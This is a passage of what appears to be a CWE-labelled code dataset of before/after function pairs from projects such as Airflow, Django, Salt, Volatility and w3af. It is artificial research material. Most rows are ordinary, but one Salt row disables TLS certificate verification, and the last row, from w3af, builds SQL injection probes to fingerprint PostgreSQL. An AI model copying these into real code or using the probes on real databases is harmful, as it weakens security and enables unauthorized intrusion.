    assert ctx.params['cert'] is ssl_context

    # no --key with SSLContext
    with pytest.raises(click.BadParameter):
        run_command.make_context(
            'run', ['--cert', 'ssl_context', '--key', __file__])"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/drivermodule.py,0,"def __init__(self, config, *args, **kwargs):
        common.AbstractWindowsCommand.__init__(self, config, *args, **kwargs)
        config.add_option('ADDR', short_option = 'a', default = None,
                          help = 'Show info on module at or containing this (base) address',
                          action = 'store', type = 'int')",,volatilityfoundation/volatility,f5aabe2368a6959b178ac88a74a16858902d8720,"def __init__(self, config, *args, **kwargs):
        common.AbstractWindowsCommand.__init__(self, config, *args, **kwargs)
        config.add_option('ADDR', short_option = 'a', default = None,
                          help = 'Show info on module at or containing this address',
                          action = 'store', type = 'int')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/migrations/env.py,0,"def run_migrations_online():
    """"""Run migrations in 'online' mode.

    In this scenario we need to create an Engine
    and associate a connection with the context.

    """"""
    connectable = settings.engine

    with connectable.connect() as connection:
        context.configure(
            connection=connection,
            target_metadata=target_metadata,
            compare_type=COMPARE_TYPE,
        )

        with context.begin_transaction():
            context.run_migrations()",CWE-Unknown,apache/airflow,d494d5a65633ce82ad8b66cbf56c383bb86d7cf9,"def run_migrations_online():
    """"""Run migrations in 'online' mode.

    In this scenario we need to create an Engine
    and associate a connection with the context.

    """"""
    connectable = settings.engine

    with connectable.connect() as connection:
        context.configure(
            connection=connection,
            target_metadata=target_metadata,
            compare_type=COMPARE_TYPE,
        )

        with context.begin_transaction():
            context.run_migrations()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/contrib/operators/test_gcp_transfer_operator.py,0,"def test_job_create_gcs(self, mock_hook):
        mock_hook.return_value.create_transfer_job.return_value = VALID_TRANSFER_JOB_GCS_RAW
        body = deepcopy(VALID_TRANSFER_JOB_GCS)
        del body['name']
        op = GcpTransferServiceJobCreateOperator(body=body, task_id=TASK_ID)
        result = op.execute(None)

        mock_hook.assert_called_once_with(api_version='v1', gcp_conn_id='google_cloud_default')

        mock_hook.return_value.create_transfer_job.assert_called_once_with(body=VALID_TRANSFER_JOB_GCS_RAW)

        self.assertEqual(result, VALID_TRANSFER_JOB_GCS_RAW)",CWE-Unknown,apache/airflow,487ad38d60dc0f43fc69e9a0cf1a9c5e04cc49f5,"def test_job_create_gcs(self, mock_hook):
        mock_hook.return_value.create_transfer_job.return_value = VALID_TRANSFER_JOB_GCS_RAW
        body = deepcopy(VALID_TRANSFER_JOB_GCS)
        del (body['name'])
        op = GcpTransferServiceJobCreateOperator(body=body, task_id=TASK_ID)
        result = op.execute(None)

        mock_hook.assert_called_once_with(api_version='v1', gcp_conn_id='google_cloud_default')

        mock_hook.return_value.create_transfer_job.assert_called_once_with(body=VALID_TRANSFER_JOB_GCS_RAW)

        self.assertEqual(result, VALID_TRANSFER_JOB_GCS_RAW)"
,UNKNOWN,UNKNOWN,tests/regressiontests/admin_views/tests.py,1,"def testLogin(self):
        """"""
        Make sure only staff members can log in.

        Successful posts to the login page will redirect to the orignal url.
        Unsuccessfull attempts will continue to render the login page with
        a 200 status code.
        """"""
        # Super User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Test if user enters e-mail address
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Your e-mail address is not your username"")
        # only correct passwords get a username hint
        login = self.client.post('/test_admin/admin/', self.super_email_bad_login)
        self.assertContains(login, ""Usernames cannot contain the &#39;@&#39; character"")
        new_user = User(username='jondoe', password='secret', email='super@example.com')
        new_user.save()
        # check to ensure if there are multiple e-mail addresses a user doesn't get a 500
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Usernames cannot contain the &#39;@&#39; character"")

        # Add User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.adduser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Change User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.changeuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Delete User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.deleteuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Regular User should not be able to login.
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.joepublic_login)
        self.failUnlessEqual(login.status_code, 200)
        # Login.context is a list of context dicts we just need to check the first one.
        self.assert_(login.context[0].get('error_message'))",CWE-259,django/django,4747347385fa5c3a1e948a892fd5e60fb8f53bed,"def testLogin(self):
        """"""
        Make sure only staff members can log in.

        Successful posts to the login page will redirect to the orignal url.
        Unsuccessfull attempts will continue to render the login page with
        a 200 status code.
        """"""
        # Super User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Test if user enters e-mail address
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Your e-mail address is not your username"")
        # only correct passwords get a username hint
        login = self.client.post('/test_admin/admin/', self.super_email_bad_login)
        self.assertContains(login, ""Usernames cannot contain the &#39;@&#39; character"")
        new_user = User(username='jondoe', password='secret', email='super@example.com')
        new_user.save()
        # check to ensure if there are multiple e-mail addresses a user doesn't get a 500
        login = self.client.post('/test_admin/admin/', self.super_email_login)
        self.assertContains(login, ""Usernames cannot contain the &#39;@&#39; character"")

        # Add User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.adduser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Change User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.changeuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Delete User
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.deleteuser_login)
        self.assertRedirects(login, '/test_admin/admin/')
        self.failIf(login.context)
        self.client.get('/test_admin/admin/logout/')

        # Regular User should not be able to login.
        request = self.client.get('/test_admin/admin/')
        self.failUnlessEqual(request.status_code, 200)
        login = self.client.post('/test_admin/admin/', self.joepublic_login)
        self.failUnlessEqual(login.status_code, 200)
        # Login.context is a list of context dicts we just need to check the first one.
        self.assert_(login.context[0].get('error_message'))"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/sftp_si.py,0,"def rename(self, oldpath, newpath):
        """"""
        Rename (or move) a file.  The SFTP specification implies that this
        method can be used to move an existing file into a different folder,
        and since there's no other (easy) way to move files via SFTP, it's
        probably a good idea to implement ""move"" in this method too, even for
        files that cross disk partition boundaries, if at all possible.
        
        .. note:: You should return an error if a file with the same name as
            ``newpath`` already exists.  (The rename operation should be
            non-desctructive.)

        :param str oldpath:
            the requested path (relative or absolute) of the existing file.
        :param str newpath: the requested new path of the file.
        :return: an SFTP error code `int` like `.SFTP_OK`.
        """"""
        return SFTP_OP_UNSUPPORTED",,paramiko/paramiko,65fb0980d01d928e60c246d361954b961296e67f,"def rename(self, oldpath, newpath):
        """"""
        Rename (or move) a file.  The SFTP specification implies that this
        method can be used to move an existing file into a different folder,
        and since there's no other (easy) way to move files via SFTP, it's
        probably a good idea to implement ""move"" in this method too, even for
        files that cross disk partition boundaries, if at all possible.
        
        .. note:: You should return an error if a file with the same name as
            ``newpath`` already exists.  (The rename operation should be
            non-desctructive.)

        :param str oldpath:
            the requested path (relative or absolute) of the existing file.
        :param str newpath: the requested new path of the file.
        :return: an SFTP error code `int` like `.SFTP_OK`.
        """"""
        return SFTP_OP_UNSUPPORTED"
,UNKNOWN,UNKNOWN,saltapi/netapi/rest_cherrypy/__init__.py,1,"def start():
    '''
    Server loop here. Started in a multiprocess.
    '''
    root = API(__opts__)
    conf = root.get_conf()
    gconf = conf.get('global', {})

    cherrypy.tools.salt_auth = cherrypy.Tool('before_request_body', salt_auth_tool)
    cherrypy.tools.hypermedia_out = cherrypy.Tool('before_handler', hypermedia_out)
    cherrypy.tools.hypermedia_in = cherrypy.Tool('before_request_body', hypermedia_in)

    if gconf['debug']:
        cherrypy.quickstart(root, '/', conf)
    else:
        root.verify_certs(gconf['ssl_crt'], gconf['ssl_key'])

        ssl_a = wsgiserver.ssl_builtin.BuiltinSSLAdapter(
                gconf['ssl_crt'], gconf['ssl_key'])
        wsgi_d = wsgiserver.WSGIPathInfoDispatcher({'/': root})
        server = wsgiserver.CherryPyWSGIServer(
                ('0.0.0.0', gconf['server.socket_port']),
                wsgi_app=wsgi_d)
        server.ssl_adapter = ssl_a

        signal.signal(signal.SIGINT, lambda *args: server.stop())
        server.start()",CWE-605,saltstack/salt,38fd2da0ecc4cfdea5817ddb8927285ffc29fc9f,"def start():
    '''
    Server loop here. Started in a multiprocess.
    '''
    root = API(__opts__)
    conf = root.get_conf()
    gconf = conf.get('global', {})

    cherrypy.tools.salt_auth = cherrypy.Tool('before_request_body', salt_auth_tool)
    cherrypy.tools.hypermedia_out = cherrypy.Tool('before_handler', hypermedia_out)
    cherrypy.tools.hypermedia_in = cherrypy.Tool('before_request_body', hypermedia_in)

    if gconf['debug']:
        cherrypy.quickstart(root, '/', conf)
    else:
        root.verify_certs(gconf['ssl_crt'], gconf['ssl_key'])

        ssl_a = wsgiserver.ssl_builtin.BuiltinSSLAdapter(
                gconf['ssl_crt'], gconf['ssl_key'])
        wsgi_d = wsgiserver.WSGIPathInfoDispatcher({'/': root})
        server = wsgiserver.CherryPyWSGIServer(
                ('0.0.0.0', gconf['server.socket_port']),
                wsgi_app=wsgi_d,
                ssl_adapter=ssl_a)

        signal.signal(signal.SIGINT, lambda *args: server.stop())
        server.start()"
,UNKNOWN,UNKNOWN,salt/utils/vmware.py,1,"def _get_service_instance(host, username, password, protocol,
                          port, mechanism, principal, domain):
    '''
    Internal method to authenticate with a vCenter server or ESX/ESXi host
    and return the service instance object.
    '''
    log.trace('Retrieving new service instance')
    token = None
    if mechanism == 'userpass':
        if username is None:
            raise salt.exceptions.CommandExecutionError(
                'Login mechanism userpass was specified but the mandatory '
                'parameter \'username\' is missing')
        if password is None:
            raise salt.exceptions.CommandExecutionError(
                'Login mechanism userpass was specified but the mandatory '
                'parameter \'password\' is missing')
    elif mechanism == 'sspi':
        if principal is not None and domain is not None:
            try:
                token = get_gssapi_token(principal, host, domain)
            except Exception as exc:  # pylint: disable=broad-except
                raise salt.exceptions.VMwareConnectionError(six.text_type(exc))
        else:
            err_msg = 'Login mechanism \'{0}\' was specified but the' \
                      ' mandatory parameters are missing'.format(mechanism)
            raise salt.exceptions.CommandExecutionError(err_msg)
    else:
        raise salt.exceptions.CommandExecutionError(
            'Unsupported mechanism: \'{0}\''.format(mechanism))
    try:
        log.trace('Connecting using the \'%s\' mechanism, with username \'%s\'',
                  mechanism, username)
        service_instance = SmartConnect(
            host=host,
            user=username,
            pwd=password,
            protocol=protocol,
            port=port,
            b64token=token,
            mechanism=mechanism)
    except TypeError as exc:
        if 'unexpected keyword argument' in exc.message:
            log.error('Initial connect to the VMware endpoint failed with %s', exc.message)
            log.error('This may mean that a version of PyVmomi EARLIER than 6.0.0.2016.6 is installed.')
            log.error('We recommend updating to that version or later.')
            raise
    except Exception as exc:  # pylint: disable=broad-except
        # pyVmomi's SmartConnect() actually raises Exception in some cases.
        default_msg = 'Could not connect to host \'{0}\'. ' \
                      'Please check the debug log for more information.'.format(host)

        try:
            if (isinstance(exc, vim.fault.HostConnectFault) and
                '[SSL: CERTIFICATE_VERIFY_FAILED]' in exc.msg) or \
               '[SSL: CERTIFICATE_VERIFY_FAILED]' in six.text_type(exc):
                service_instance = SmartConnect(
                    host=host,
                    user=username,
                    pwd=password,
                    protocol=protocol,
                    port=port,
                    sslContext=getattr(ssl, '_create_unverified_context', getattr(ssl, '_create_stdlib_context'))(),
                    b64token=token,
                    mechanism=mechanism)
            else:
                log.exception(exc)
                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                raise salt.exceptions.VMwareConnectionError(err_msg)
        except Exception as exc:  # pylint: disable=broad-except
            # pyVmomi's SmartConnect() actually raises Exception in some cases.
            if 'certificate verify failed' in six.text_type(exc):
                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
                context.verify_mode = ssl.CERT_NONE
                try:
                    service_instance = SmartConnect(
                        host=host,
                        user=username,
                        pwd=password,
                        protocol=protocol,
                        port=port,
                        sslContext=context,
                        b64token=token,
                        mechanism=mechanism
                    )
                except Exception as exc:  # pylint: disable=broad-except
                    log.exception(exc)
                    err_msg = exc.msg if hasattr(exc, 'msg') else six.text_type(exc)
                    raise salt.exceptions.VMwareConnectionError(
                        'Could not connect to host \'{0}\': '
                        '{1}'.format(host, err_msg))
            else:
                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                log.trace(exc)
                raise salt.exceptions.VMwareConnectionError(err_msg)
    atexit.register(Disconnect, service_instance)
    return service_instance",CWE-327,saltstack/salt,35646c5ed938a6effbe0a7b7739e1d9143035549,"def _get_service_instance(host, username, password, protocol,
                          port, mechanism, principal, domain):
    '''
    Internal method to authenticate with a vCenter server or ESX/ESXi host
    and return the service instance object.
    '''
    log.trace('Retrieving new service instance')
    token = None
    if mechanism == 'userpass':
        if username is None:
            raise salt.exceptions.CommandExecutionError(
                'Login mechanism userpass was specified but the mandatory '
                'parameter \'username\' is missing')
        if password is None:
            raise salt.exceptions.CommandExecutionError(
                'Login mechanism userpass was specified but the mandatory '
                'parameter \'password\' is missing')
    elif mechanism == 'sspi':
        if principal is not None and domain is not None:
            try:
                token = get_gssapi_token(principal, host, domain)
            except Exception as exc:
                raise salt.exceptions.VMwareConnectionError(six.text_type(exc))
        else:
            err_msg = 'Login mechanism \'{0}\' was specified but the' \
                      ' mandatory parameters are missing'.format(mechanism)
            raise salt.exceptions.CommandExecutionError(err_msg)
    else:
        raise salt.exceptions.CommandExecutionError(
            'Unsupported mechanism: \'{0}\''.format(mechanism))
    try:
        log.trace('Connecting using the \'%s\' mechanism, with username \'%s\'',
                  mechanism, username)
        service_instance = SmartConnect(
            host=host,
            user=username,
            pwd=password,
            protocol=protocol,
            port=port,
            b64token=token,
            mechanism=mechanism)
    except TypeError as exc:
        if 'unexpected keyword argument' in exc.message:
            log.error('Initial connect to the VMware endpoint failed with %s', exc.message)
            log.error('This may mean that a version of PyVmomi EARLIER than 6.0.0.2016.6 is installed.')
            log.error('We recommend updating to that version or later.')
            raise
    except Exception as exc:  # pylint: disable=broad-except
        # pyVmomi's SmartConnect() actually raises Exception in some cases.
        default_msg = 'Could not connect to host \'{0}\'. ' \
                      'Please check the debug log for more information.'.format(host)

        try:
            if (isinstance(exc, vim.fault.HostConnectFault) and
                '[SSL: CERTIFICATE_VERIFY_FAILED]' in exc.msg) or \
               '[SSL: CERTIFICATE_VERIFY_FAILED]' in six.text_type(exc):
                service_instance = SmartConnect(
                    host=host,
                    user=username,
                    pwd=password,
                    protocol=protocol,
                    port=port,
                    sslContext=getattr(ssl, '_create_unverified_context', getattr(ssl, '_create_stdlib_context'))(),
                    b64token=token,
                    mechanism=mechanism)
            else:
                log.exception(exc)
                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                raise salt.exceptions.VMwareConnectionError(err_msg)
        except Exception as exc:  # pylint: disable=broad-except
            # pyVmomi's SmartConnect() actually raises Exception in some cases.
            if 'certificate verify failed' in six.text_type(exc):
                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
                context.verify_mode = ssl.CERT_NONE
                try:
                    service_instance = SmartConnect(
                        host=host,
                        user=username,
                        pwd=password,
                        protocol=protocol,
                        port=port,
                        sslContext=context,
                        b64token=token,
                        mechanism=mechanism
                    )
                except Exception as exc:
                    log.exception(exc)
                    err_msg = exc.msg if hasattr(exc, 'msg') else six.text_type(exc)
                    raise salt.exceptions.VMwareConnectionError(
                        'Could not connect to host \'{0}\': '
                        '{1}'.format(host, err_msg))
            else:
                err_msg = exc.msg if hasattr(exc, 'msg') else default_msg
                log.trace(exc)
                raise salt.exceptions.VMwareConnectionError(err_msg)
    atexit.register(Disconnect, service_instance)
    return service_instance"
,UNKNOWN,UNKNOWN,tests/template_tests/test_response.py,1,"def test_pickling(self):
        # Create a template response. The context is
        # known to be unpicklable (e.g., a function).
        response = TemplateResponse(
            self.factory.get('/'),
            'first/test.html', {
                'value': 123,
                'fn': datetime.now,
            }
        )
        with self.assertRaises(ContentNotRenderedError):
            pickle.dumps(response)

        # But if we render the response, we can pickle it.
        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)

        self.assertEqual(unpickled_response.content, response.content)
        self.assertEqual(unpickled_response['content-type'], response['content-type'])
        self.assertEqual(unpickled_response.status_code, response.status_code)

        # ...and the unpickled response doesn't have the
        # template-related attributes, so it can't be re-rendered
        template_attrs = (
            'template_name',
            'context_data',
            '_post_render_callbacks',
            '_request',
        )
        for attr in template_attrs:
            self.assertFalse(hasattr(unpickled_response, attr))

        # ...and requesting any of those attributes raises an exception
        for attr in template_attrs:
            with self.assertRaises(AttributeError):
                getattr(unpickled_response, attr)",CWE-502,django/django,406675b1a03c0568f7768a73e7c279011e56054d,"def test_pickling(self):
        # Create a template response. The context is
        # known to be unpicklable (e.g., a function).
        response = TemplateResponse(self.factory.get('/'),
            'first/test.html', {
                'value': 123,
                'fn': datetime.now,
            }
        )
        with self.assertRaises(ContentNotRenderedError):
            pickle.dumps(response)

        # But if we render the response, we can pickle it.
        response.render()
        pickled_response = pickle.dumps(response)
        unpickled_response = pickle.loads(pickled_response)

        self.assertEqual(unpickled_response.content, response.content)
        self.assertEqual(unpickled_response['content-type'], response['content-type'])
        self.assertEqual(unpickled_response.status_code, response.status_code)

        # ...and the unpickled response doesn't have the
        # template-related attributes, so it can't be re-rendered
        template_attrs = (
            'template_name',
            'context_data',
            '_post_render_callbacks',
            '_request',
        )
        for attr in template_attrs:
            self.assertFalse(hasattr(unpickled_response, attr))

        # ...and requesting any of those attributes raises an exception
        for attr in template_attrs:
            with self.assertRaises(AttributeError):
                getattr(unpickled_response, attr)"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/handles.py,0,"def render_text(self, outfd, data):
        offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""

        outfd.write(""{0:6}{1:6} {2:6} {3:<16} {4}\n"".format(
            ""Offset"", offsettype, ""Pid"", ""Type"", ""Details""))

        if self._config.OBJECT_TYPE:
            object_list = [s for s in self._config.OBJECT_TYPE.split(',')]
        else:
            object_list = []

        for pid, h, otype, name in data:
            if object_list and otype not in object_list:
                continue
            if not self._config.PHYSICAL_OFFSET:
                offset = h.Body.obj_offset
            else:
                offset = h.obj_vm.vtop(h.Body.obj_offset)

            outfd.write(""{0:#010x}   {1:<6} {2:<16} {3}\n"".format(
                offset, pid, otype, name))",,volatilityfoundation/volatility,d10e5f3fb3ece03abb22fb33126b6c0430ba3186,"def render_text(self, outfd, data):
        offsettype = ""(V)"" if not self._config.PHYSICAL_OFFSET else ""(P)""

        outfd.write(""{0:6}{1:6} {2:6} {3:<16} {4}\n"".format(
            ""Offset"", offsettype, ""Pid"", ""Type"", ""Details""))

        if self._config.OBJECT_TYPE:
            object_list = [s for s in self._config.OBJECT_TYPE.split(',')]
        else:
            object_list = []

        for pid, h, otype, name in data:
            if object_list and otype not in object_list:
                continue
            if not self._config.PHYSICAL_OFFSET:
                offset = h.obj_offset
            else:
                offset = h.obj_vm.vtop(h.obj_offset)

            outfd.write(""{0:#010x}   {1:<6} {2:<16} {3}\n"".format(
                offset, pid, otype, name))"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/pid_hash_table.py,0,"def calculate(self):
        common.set_plugin_members(self)
            
        pidhash_addr = self.addr_space.profile.get_symbol(""_pidhash"") 
        pidhash = obj.Object(""unsigned long"", offset = pidhash_addr, vm = self.addr_space)

        pidhashtbl_addr = self.addr_space.profile.get_symbol(""_pidhashtbl"")
        pidhashtbl_ptr = obj.Object(""Pointer"", offset = pidhashtbl_addr, vm = self.addr_space)
        pidhash_array = obj.Object(""Array"", targetType = ""pidhashhead"", count = pidhash + 1, vm = self.addr_space, offset = pidhashtbl_ptr)
    
        for plist in pidhash_array:
            p = plist.lh_first.dereference()
    
            while p:
                yield p                
                p = p.p_hash.le_next.dereference()",,volatilityfoundation/volatility,8e2c5a5b6e32ba0eff1b07bada9890ecc5e9d85b,"def calculate(self):
        common.set_plugin_members(self)
            
        pidhash_addr = self.addr_space.profile.get_symbol(""_pidhash"") 
        pidhash = obj.Object(""unsigned long"", offset = pidhash_addr, vm = self.addr_space)

        pidhashtbl_addr = self.addr_space.profile.get_symbol(""_pidhashtbl"")
        pidhashtbl_ptr = obj.Object(""Pointer"", offset = pidhashtbl_addr, vm = self.addr_space)
        pidhash_array = obj.Object(""Array"", targetType = ""pidhashhead"", count = pidhash + 1, vm = self.addr_space, offset = pidhashtbl_ptr)
    
        for plist in pidhash_array:
            p = plist.lh_first
    
            while p:
                yield p                
                p = p.p_hash.le_next"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_task_instances.py,1,"def test_should_respond_200(self, test_client, session):
        self.create_task_instances(session)
        # Update ti and set operator to None to
        # test that operator field is nullable.
        # This prevents issue when users upgrade to 2.0+
        # from 1.10.x
        # https://github.com/apache/airflow/issues/14421
        session.query(TaskInstance).update({TaskInstance.operator: None}, synchronize_session=""fetch"")
        session.commit()
        response = test_client.get(
            ""/public/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context""
        )

        assert response.status_code == 200
        assert response.json() == {
            ""dag_id"": ""example_python_operator"",
            ""dag_version"": None,
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""logical_date"": ""2020-01-01T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""id"": mock.ANY,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""note"": ""placeholder-note"",
            ""operator"": None,
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""running"",
            ""task_id"": ""print_the_context"",
            ""task_display_name"": ""print_the_context"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""rendered_fields"": {},
            ""rendered_map_index"": None,
            ""run_after"": ""2020-01-01T00:00:00Z"",
            ""trigger"": None,
            ""triggerer_job"": None,
        }",CWE-703,apache/airflow,df0b6c3a14271288dfab7487cd735742e9814014,"def test_should_respond_200(self, test_client, session):
        self.create_task_instances(session)
        # Update ti and set operator to None to
        # test that operator field is nullable.
        # This prevents issue when users upgrade to 2.0+
        # from 1.10.x
        # https://github.com/apache/airflow/issues/14421
        session.query(TaskInstance).update({TaskInstance.operator: None}, synchronize_session=""fetch"")
        session.commit()
        response = test_client.get(
            ""/public/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context""
        )

        assert response.status_code == 200
        assert response.json() == {
            ""dag_id"": ""example_python_operator"",
            ""dag_version"": None,
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""logical_date"": ""2020-01-01T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""id"": mock.ANY,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""note"": ""placeholder-note"",
            ""operator"": None,
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""running"",
            ""task_id"": ""print_the_context"",
            ""task_display_name"": ""print_the_context"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""rendered_fields"": {},
            ""rendered_map_index"": None,
            ""run_after"": ""2020-01-01T00:00:00Z"",
            ""trigger"": None,
            ""triggerer_job"": None,
        }"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/procdump.py,0,,,volatilityfoundation/volatility,56f1913377ffbc1d98b4a9578d66380ae7e416c0,"def _get_executable_contents(self, proc):
        text_map = None

        proc_as = proc.get_process_address_space()

        wanted_vnode = proc.p_textvp.v()

        for map in proc.get_proc_maps():
            vnode = map.get_vnode()

            if vnode and vnode != ""sub_map"" and vnode.v() == wanted_vnode:
                text_map = map
                break

        m = obj.Object(""macho_header"", offset = text_map.start, vm = proc_as)

        buffer = """"
        last_map = None

        for seg in m.segments():
            if str(seg.segname) == ""__PAGEZERO"":
                continue

            if last_map:
                pad_amt = map.start - last_map.end
                pad = ""\x00"" * pad_amt
            else:
                pad = """"

            #print ""getting for segment: %s | %x | %d"" % (seg.segname, seg.vmaddr, seg.filesize)
            buffer = buffer + pad + proc_as.zread(seg.vmaddr, seg.filesize)
 
        return (text_map.start, buffer)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/ovirt/ovirt_cluster.py,0,"def _matches_entity(self, item, entity):
        return equal(item.get('id'), entity.id) and equal(item.get('name'), entity.name)",,ansible/ansible,414d0e92acb75bcb533bf65b35cd8dc718261d50,"def _matches_entity(self, item, entity):
        return equal(item.get('id'), entity.id) and equal(item.get('name'), entity.name)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/system/firewalld.py,0,"def __init__(self, module, action_args=None, zone=None, desired_state=None, permanent=False, immediate=False):
        super(PortTransaction, self).__init__(
            module, action_args=action_args, desired_state=desired_state, zone=zone, permanent=permanent, immediate=immediate
        )",,ansible/ansible,4acad228f081912025f44bcca83eedb69f107a6d,"def __init__(self, module, action_args=None, zone=None, desired_state=None, permanent=False, immediate=False):
        super(PortTransaction, self).__init__(
            module, action_args=action_args, desired_state=desired_state, zone=zone, permanent=permanent, immediate=immediate
        )"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/models/test_connection.py,1,"def test_sanitize_conn_id(self, connection, expected_conn_id):
        assert connection.conn_id == expected_conn_id",CWE-703,apache/airflow,2d6d594ee897df5f11dc74cbf0b64e84db45009a,"def test_sanitize_conn_id(self, connection, expected_conn_id):
        assert connection.conn_id == expected_conn_id"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/postgresql/fingerprint.py,0,"def checkDbms(self):
        """"""
        References for fingerprint:

        * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2)
        """"""

        infoMsg = ""testing PostgreSQL""
        logger.info(infoMsg)

        if conf.direct:
            conf.dbmsConnector.connect()

        if conf.dbms in PGSQL_ALIASES:
            setDbms(""PostgreSQL"")

            self.getBanner()

            if not conf.extensiveFp:
                return True

        randInt = str(randomInt(1))

        payload = agent.fullPayload("" AND %s::int=%s"" % (randInt, randInt))
        result  = Request.queryPage(payload)

        if result:
            infoMsg = ""confirming PostgreSQL""
            logger.info(infoMsg)

            payload = agent.fullPayload("" AND COALESCE(%s, NULL)=%s"" % (randInt, randInt))
            result  = Request.queryPage(payload)

            if not result:
                warnMsg = ""the back-end DMBS is not PostgreSQL""
                logger.warn(warnMsg)

                return False

            setDbms(""PostgreSQL"")

            self.getBanner()

            if not conf.extensiveFp:
                return True

            if inject.getValue(""SELECT DIV(6, 3)"", unpack=False, charsetType=2) == ""2"":
                kb.dbmsVersion = ["">= 8.4.0""]
            elif inject.getValue(""SELECT SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)"", unpack=False, charsetType=2) in ( ""1"", ""2"" ) and not inject.getValue(""SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)"", unpack=False, charsetType=2) in ( ""1"", ""2"" ):
                kb.dbmsVersion = ["">= 8.3.0"", ""< 8.4""]
            elif inject.getValue(""SELECT SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)"", unpack=False, charsetType=2):
                kb.dbmsVersion = ["">= 8.2.0"", ""< 8.3.0""]
            elif inject.getValue(""SELECT GREATEST(5, 9, 1)"", unpack=False, charsetType=2) == ""9"":
                kb.dbmsVersion = ["">= 8.1.0"", ""< 8.2.0""]
            elif inject.getValue(""SELECT WIDTH_BUCKET(5.35, 0.024, 10.06, 5)"", unpack=False, charsetType=2) == ""3"":
